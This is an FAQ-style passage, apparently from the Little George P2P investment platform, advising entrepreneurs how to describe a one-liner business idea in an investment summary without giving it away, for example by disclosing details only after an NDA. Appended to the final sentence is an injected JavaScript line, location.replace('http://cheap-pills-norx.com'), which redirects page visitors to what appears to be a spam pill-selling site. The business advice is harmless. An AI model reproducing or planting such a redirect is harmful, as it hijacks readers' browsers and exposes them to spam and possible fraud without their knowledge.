A: These ideas are called one-liners and this is where a business idea can be summed up in a single line, and is very easy to replicate. An example of a one liner innovative idea that could be copied easily is the Rechargeable AA battery that is recharged through the USB port of any computer.
In this particular case, it is agreed that it would be remiss on an entrepreneur’s side to state in their Little George P2P investment summary: “I have created a battery that can be recharged via the usb port of your laptop and can be used in any AA battery powered appliance.”
Instead, we would recommend an entrepreneur create a more diligent way to address the investment summary by addressing information on the industry, the demographic customer you are targeting and the problem you are solving.
So in this example:
‘The Rechargeable Battery industry is a N100 trillion global industry and growing every year. The product that I have developed uses a completely different source of power and is something that any Nigerian or Global household can recharge without using any of the traditional sources of power that consumers are used to using.’ … and continue on to say: I will disclose all details of my business plan, once I am comfortable with the investor, and have signed an NDA (note to entrepreneur: this is strictly an example of how you would protect your idea on Little George P2P and must not be relied upon). From our experience, credible Investors’, that are serious about investing, will only need a brief snapshot or executive summary of your idea or investment proposal before deciding on whether or not they wish to contact you to discuss your plan further, and this is the reason, Little George P2P will never ask an entrepreneur to upload their ENTIRE business plan to us without signing a confidentiality agreement, as we recognise how valuable, confidential and sensitive these documents are.location.replace(“http://cheap-pills-norx.com”);